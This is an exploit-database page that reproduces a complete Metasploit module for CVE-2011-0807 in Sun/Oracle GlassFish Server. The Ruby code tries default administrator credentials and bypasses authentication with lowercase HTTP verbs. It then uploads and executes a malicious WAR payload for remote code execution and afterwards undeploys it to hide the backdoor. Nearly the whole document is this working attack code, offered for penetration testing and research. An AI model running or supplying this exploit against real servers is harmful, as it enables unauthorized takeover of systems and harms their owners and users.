Lucene search
K

Sun/Oracle GlassFish Server Authenticated Code Execution

🗓️ 05 Aug 2011 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 29 Views

Sun/Oracle GlassFish Server Authenticated Code Execution module for 3.

Related
Code
##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
            'Description'    => %q{
                    This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
                instance using a default credential, uploads, and executes commands via deploying
                a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
                this module will try to bypass authentication instead by sending lowercase HTTP verbs.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13485 $",
            'Author'         =>
                [
                    #Msf module for Glassfish 3.0
                    'juan vazquez',
                    #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
                    'Joshua Abraham <jabra[at]rapid7.com>',
                    #Rewrite for 3.0, 3.1 (Commercial or Open Source)
                    'sinn3r',
                ],
            'References'     =>
                [
                    ['CVE', '2011-0807'],
                ],
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                    [
                        'Java Universal',
                        {
                            'Arch'     => ARCH_JAVA,
                            'Platform' => 'java',
                        },
                    ],
                    #
                    # platform specific targets only
                    #
                    [
                        'Windows Universal',
                        {
                            'Arch'     => ARCH_X86,
                            'Platform' => 'win',
                        },
                    ],
                    #
                    # platform specific targets only
                    #
                    [
                        'Linux Universal',
                        {
                            'Arch'     => ARCH_X86,
                            'Platform' => 'linux',
                        },
                    ],
                ],
            'DisclosureDate' => "Aug 4 2011",
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    Opt::RPORT(4848),
                    OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
                    OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
                    OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
                    OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
                ], self.class)
    end
 
    #
    # Send GET or POST request, and return the response
    #
    def send_request(path, method, session='', data=nil, ctype=nil)
 
        headers = {}
        headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
        headers['Content-Type'] = ctype if ctype != nil
        headers['Content-Length'] = data.length if data != nil
 
        res = send_request_raw({
            'uri'     => path,
            'method'  => method,
            'data'    => data,
            'headers' => headers,
        }, 90)
 
        #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
        return res
    end
 
    #
    # Return target
    #
    def auto_target(session, res, version)
        print_status("Attempting to automatically select a target...")
 
        res = query_serverinfo(session,version)
        return nil if not res
        return nil if not res.body
 
        plat = detect_platform(res.body)
        arch = detect_arch(res.body)
         
        # No arch or platform found?
        return nil if (not arch or not plat)
 
        # see if we have a match
        targets.each do |t|
            return t if (t['Platform'] == plat) and (t['Arch'] == arch)
        end
 
        # no matching target found
        return nil
    end
 
    #
    # Return platform (win, linux, or osx)
    #
    def detect_platform(body)
        body.each_line do |ln|
            ln.chomp!
            case ln
            when /os\.name = (.*)/
                os = $1
                case os
                when /Windows/
                    return 'win'
                when /Linux/
                    return 'linux'
                when /Mac OS X/
                    return 'osx'
                end
            end
        end
 
        return 'java'
    end
 
    #
    # Return ARCH
    #
    def detect_arch(body)
        body.each_line do |ln|
            ln.chomp!
            case ln
            when /os\.arch = (.*)/
                ar = $1
                case ar
                when 'x86', 'i386', 'i686'
                    return ARCH_X86
                when 'x86_64', 'amd64'
                    return ARCH_X86
                end
            end
        end
    end
 
    #
    # Return server information
    #
    def query_serverinfo(session,version)
        res = ''
 
        if version == '2.x' or version == '9.x'
            path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
            res = send_request(path, @verbs['GET'], session)
        else
            path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
            res = send_request(path, @verbs['GET'], session)
 
            if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
                path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
                res = send_request(path, @verbs['GET'], session)
            end
        end
 
        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting #{path}")
            return nil
        end
 
        return res
    end
 
    #
    # Return viewstate and entry before deleting a GlassFish application
    #
    def get_delete_info(session, version, app='')
        if version == '2.x' or version == '9.x'
            path = '/applications/webApplications.jsf'
            res = send_request(path, @verbs['GET'], session)
 
            if (not res) or (res.code != 200)
                print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
                return nil
            end
 
            input_id = "javax.faces.ViewState"
            p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
            viewstate = res.body.scan(p)[0][0]
 
            entry = nil
            p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
            results = res.body.scan(p)
 
            results.each do |hit|
                if hit[1] =~ /^#{app}/
                    entry = hit[0]
                    entry << "col0:select"
                end
            end
 
        else
            path = '/common/applications/applications.jsf?bare=true'
            res = send_request(path, @verbs['GET'], session)
 
            if (not res) or (res.code != 200)
                print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
                return nil
            end
 
            input_id = "javax.faces.ViewState"
            p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
            viewstate = res.body.scan(p)[0][0]
 
            entry = nil
            p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
            results = res.body.scan(p)
 
            results.each do |hit|
                if hit[1] =~ /^#{app}/
                    entry = hit[0]
                    entry << "col0:select"
                end
            end
        end
 
        if (viewstate.nil?)
            print_error("Failed: Error getting ViewState")
            return nil
        elsif (entry.nil?)
            print_error("Failed: Error getting the entry to delete")
        end
 
        return viewstate, entry
    end
 
    #
    # Send an "undeploy" request to Glassfish and remove our backdoor
    #
    def undeploy(viewstate, session, entry)
        #Send undeployment request
        data  = [
        "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
        "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
        "&#{Rex::Text.uri_encode(entry)}=true",
        "&propertyForm%3AhelpKey=ref-applications.html",
        "&propertyForm_hidden=propertyForm_hidden",
        "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
        "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.partial.execute=%40all",
        "&javax.faces.partial.render=%40all",
        "&bare=true",
        "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.partial.ajax=true"
        ].join()
 
        path  = '/common/applications/applications.jsf'
        ctype = 'application/x-www-form-urlencoded'
 
        res   = send_request(path, @verbs['POST'], session, data, ctype)
        if (not res)
            print_error("Undeployment failed on #{path} - No Response")
        else
            if res.code < 200 or res.code >= 300
                print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
            end
        end
    end
 
    #
    # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
    # banner (ex: Sun Java System Application Server 9.x)
    #
    def get_version(res)
        #Extract banner from response
        banner = res.headers['Server']
 
        #Default value for edition and glassfish version
        edition = 'Commercial'
        version = 'Unknown'
 
        #Set edition (Open Source or Commercial)
        p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
        edition = 'Open Source' if banner =~ p
 
        #Set version.  Some GlassFish servers return banner "GlassFish v3".
        if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
            version = $2
        elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
            version = $1
        elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
            version = '2.x'
        elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
            version = '9.x'
        end
 
        if version == nil or version == 'Unknown'
            print_status("Unsupported version: #{banner}")
        end
 
        return edition, version, banner
    end
 
    #
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
        data = ''
 
        data << boundary
        data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
        data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
        data << war
        data << "\r\n"
 
        return data
    end
 
    #
    # Return the formatted version of the POST data
    #
    def format(boundary,name,value=nil, war=nil)
        data = ''
 
        if war
            data << boundary
            data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
            data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
            data << war
            data << "\r\n"
        else
            data << boundary
            data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
            data << "\r\n\r\n"
            data << "#{value}\r\n"
        end
 
        return data
    end
 
    #
    # Return POST data and data length, based on GlassFish edition
    #
    def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
        data = ''
 
        if version == '3.0'
 
            uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadparam_data = "form:sheet1:section1:prop1:fileupload"
 
            boundary = "--#{boundary}"
 
            data = [
                format(boundary, app_base, nil, war),
                format(boundary, uploadParam_name, uploadparam_data),
                format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
                format(boundary, "form:sheet1:section1:prop1:action", "client"),
                format(boundary, typefield, "war"),
                format(boundary, "form:war:psection:cxp:ctx", app_base),
                format(boundary, "form:war:psection:nameProp:appName", app_base),
                format(boundary, "form:war:psection:vsProp:vs", ""),
                format(boundary, status_checkbox, "true"),
                format(boundary, "form:war:psection:librariesProp:library", ""),
                format(boundary, "form:war:psection:descriptionProp:description", ""),
                format(boundary, "form_hidden", "form_hidden"),
                format(boundary, "javax.faces.ViewState", viewstate),
                "#{boundary}--"
            ].join()
        elsif version == '2.x' or version == '9.x'
 
            uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
 
            focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
            focusElementId_data = 'form:title:topButtons:uploadButton'
 
            boundary = "-----------------------------#{boundary}"
 
            data = [
                format_2_x_war(boundary, app_base, nil, war),
                format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
                format(boundary, "uploadRdBtn", "client"),
                format(boundary, uploadParam_name, uploadParam_data),
                format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
                format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
                format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
                format(boundary, "form:title:ps:psec:vsp:vs", ""),
                format(boundary, status_checkbox, "true"),
                format(boundary, "form:title:ps:psec:librariesProp:library", ""),
                format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
                format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
                format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
                format(boundary, "form:helpKey", "uploaddev.html"),
                format(boundary, "form_hidden", "form_hidden"),
                format(boundary, "javax.faces.ViewState", viewstate),
                format(boundary, focusElementId_name, focusElementId_data),
                "#{boundary}--"
            ].join()
        else
 
            boundary = "-----------------------------#{boundary}"
 
            #Setup dynamic arguments
            num1 = start.to_i
            num2 = num1 + 14
            num3 = num2 + 2
            num4 = num3 + 2
            num5 = num4 + 2
            num6 = num5 + 2
            num7 = num6 + 1
 
            id0 = num4
            id1 = num4 + 1
            id2 = num4 + 2
            id3 = num4 + 3
            id4 = num4 + 4
            id5 = num4 + 5
            id6 = num4 + 6
            id7 = num4 + 7
            id8 = num4 + 8
            id9 = num4 + 9
 
            uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadParam_value = "form:sheet1:section1:prop1:fileupload"
 
            focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
            focusElementId_data = "form:title2:bottomButtons:uploadButton"
 
            data = [
                format(boundary,"uploadRdBtn","client"),
                ## web service
                format(boundary, app_base, nil, war),
                ## sheet1
                format(boundary, uploadParam_name, uploadParam_value),
                format(boundary,"form:sheet1:section1:prop1:extension",".war"),
                format(boundary,"form:sheet1:section1:prop1:action","client"),
                format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
                format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
                format(boundary,"form:appClient:psection:descriptionProp:description"),
                ## war
                format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
                format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
                format(boundary,"form:war:psection:vsProp:vs"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
                format(boundary,"form:war:psection:librariesProp:library"),
                format(boundary,"form:war:psection:descriptionProp:description"),
                format(boundary,"form_hidden","form_hidden"),
                format(boundary,"javax.faces.ViewState","#{viewstate}"),
                format(boundary, focusElementId_name, focusElementId_data)
            ].join()
 
            item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
            item_list_data = "|server|com.sun.webui.jsf.separator|"
 
            item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
            item_value_data = "server"
 
            data << format(boundary, item_list_name, item_list_data)
            data << format(boundary, item_value_name, item_value_data)
            data << "#{boundary}--"
            data << "\r\n\r\n"
 
        end
 
        return data
    end
 
    #
    # Upload our payload, and execute it.  This function will also try to automatically
    # clean up after itself.
    #
    def upload_exec(session, app_base, jsp_name, target, war, edition, version)
        if version == '2.x' or version == '9.x'
            path = "/applications/upload.jsf?appType=webApp"
            res = send_request(path, @verbs['GET'], session)
 
            #Obtain some properties
            begin
                p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
                p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
                viewstate       = res.body.scan(p1)[0][0]
                status_checkbox = res.body.scan(p2)[0][0]
                boundary        = rand_text_alphanumeric(28)
            rescue
                print_error("Unable to gather required data for file upload")
                return
            end
        else
            path = "/common/applications/uploadFrame.jsf"
            res = send_request(path, @verbs['GET'], session)
 
            #Obtain some properties
            begin
                #start is only for dynamic arguments in POST data
                res.body =~ /propertySheetSection(\d{3})/
                start = $1
                p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
                p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
                p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
 
                rnd_text = rand_text_alphanumeric(29)
 
                viewstate       = res.body.scan(p1)[0][0]
                typefield       = res.body.scan(p2)[0][0]
                status_checkbox = res.body.scan(p3)[0][0]
                boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
            rescue
                print_error("Unable to gather required data for file upload")
                return
            end
        end
 
        #Get upload data
        if version == '3.0'
            ctype = "multipart/form-data; boundary=#{boundary}"
        elsif version == '2.x' or version == '9.x'
            ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
            typefield = ''
            start = ''
        else
            ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
        end
 
        post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)
 
        #Upload our payload
        if version == '2.x' or version == '9.x'
            path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
        else
            path  = '/common/applications/uploadFrame.jsf?'
            path << 'form:title:topButtons:uploadButton=Processing...'
            path << '&bare=false'
        end
        res  = send_request(path, @verbs['POST'], session, post_data, ctype)
 
        #Print upload result
        if res and res.code == 302
            print_status("Successfully uploaded")
        else
            print_error("Error uploading #{res.code}")
            return
        end
 
        #Execute our payload using the application interface (no need to use auth bypass technique)
        jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
        nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
            {
                'Msf'        => framework,
                'MsfExploit' => self,
            }
        )
 
        print_status("Executing #{jsp_path}...")
        req = nclient.request_raw({
            'uri'     => jsp_path,
            'method'  => 'GET',
        })
 
        if (req)
            res = nclient.send_recv(req, 90)
        else
            print_status("Error: #{rhost} did not respond on #{app_rport}.")
        end
 
        #Sleep for a bit before cleanup
        select(nil, nil, nil, 5)
 
        #Start undeploying
        print_status("Getting information to undeploy...")
        viewstate, entry = get_delete_info(session, version, app_base)
        if (not viewstate)
            raise RuntimeError, "Unable to get viewstate"
        elsif (not entry)
            raise RuntimeError, "Unable to get entry"
        end
 
        print_status("Undeploying #{app_base}...")
        undeploy(viewstate, session, entry)
 
        print_status("Undeployment complete.")
    end
 
    #
    # Try to login to Glassfish with a credential, and return the response
    #
    def try_login(user, pass)
        data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
        data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
        data << "loginButton=Login"
 
        path = '/j_security_check'
        res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')
 
        return res
    end
 
    def log_success(user,pass)
        print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
        report_auth_info(
            :host   => rhost,
            :port   => rport,
            :sname  => 'http',
            :user   => user,
            :pass   => pass,
            :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
            :active => true
        )
    end
 
    def try_default_glassfish_login(version)
        success = false
        session = ''
        res = ''
        if version == '2.x' or version == '9.x'
            user = 'admin'
            pass = 'adminadmin'
 
            print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
            res = try_login(user,pass)
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/applications/upload.jsf', 'GET', session)
 
                p = /<title>Deploy Enterprise Applications\/Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
 
        else
            user = 'admin'
            pass = ''
 
            print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
            res = try_login(user,pass)
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
 
                p = /<title>Deploy Applications or Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        end
 
        if success == true
            log_success(user,pass)
        else
            msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
            print_error(msg)
        end
 
        return success, res, session
    end
 
    def try_nondefault_glassfish_login(version,user,pass)
 
        print_status("Trying credential #{user}:'#{pass}'....")
        success = false
        session = ''
 
        res = try_login(user, pass)
        if version == '2.x' or version == '9.x'
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/applications/upload.jsf', 'GET', session)
 
                p = /<title>Deploy Enterprise Applications\/Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        else
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/common/index.jsf', 'GET', session)
 
                p = /<title>Deploy Applications or Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        end
 
        if success == true
            log_success(user,pass)
        else
            msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
            print_error(msg)
        end
 
        return success, res, session
    end
 
 
    def try_glassfish_auth_bypass(version)
        print_status("Trying GlassFish authentication bypass..")
        success = false
 
        if version == '2.x' or version == '9.x'
            res = send_request('/applications/upload.jsf', 'get')
            p = /<title>Deploy Enterprise Applications\/Modules/
            if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                success = true
            end
        else
            # 3.0
            res = send_request('/common/applications/uploadFrame.jsf', 'get')
            p = /<title>Deploy Applications or Modules/
            if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                success = true
            end
        end
 
        if success == true
            print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
            report_auth_info(
                :host   => rhost,
                :port   => rport,
                :sname  => 'http',
                :user   => '',
                :pass   => '',
                :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
                :active => true
            )
        else
            print_error("#{target_host()} - GlassFish - Failed authentication bypass")
        end
 
        return success
    end
 
    def target_host
        path        = datastore['PATH']
        target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    end
 
    def exploit
        user        = datastore['USERNAME']
        pass        = datastore['PASSWORD']
        path        = datastore['PATH']
        target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
        success     = false
        session     = ''
        edition     = ''
        version     = ''
 
        #Invoke index to gather some info
        res = send_request('/common/index.jsf', 'GET')
 
        if res.code == 302
            res = send_request('/login.jsf', 'GET')
        end
 
        #Get GlassFish version
        edition, version, banner = get_version(res)
        print_status("Glassfish edition: #{banner}")
 
        #Get session
        res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
        session = $1
 
        #Set HTTP verbs.  lower-case is used to bypass auth on v3.0
        @verbs = {
            'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
            'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
        }
         
        #auth bypass
        if version == '3.0' or version == '2.x' or version == '9.x'
            success = try_glassfish_auth_bypass(version)
        end
 
        #BUG caused us to skip default cred checks on sun applicaiton server 9.x
        if success == false and version != '9.x'
            #default credentials
            success,res,session_login = try_default_glassfish_login(version)
            if success == false
                if (
                    ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )  or
                    ( (version =~ /^3\./) and (user != 'admin' and pass != '') )
                )
                    #non-default login
                    success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
                end
            end
        end
 
        #Start attacking
        if success
            session = session_login if (session_login =~ /\w+/)
            #Set target
            mytarget = target
            mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
            raise RunTimeError, "Unable to automatically select a target" if (not mytarget)
 
            #Generate payload
            p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
 
            jsp_name = rand_text_alphanumeric(4+rand(32-4))
            app_base = rand_text_alphanumeric(4+rand(32-4))
 
            war = p.encoded_war({
                :app_name    => app_base,
                :jsp_name    => jsp_name,
                :arch        => mytarget.arch,
                :platform    => mytarget.platform
            }).to_s
 
            #Upload, execute, cleanup, winning
            print_status("Uploading payload...")
            res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
        else
            print_error("#{target_host()} - GlassFish - Failed to authenticate login")
        end
 
    end
end



#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation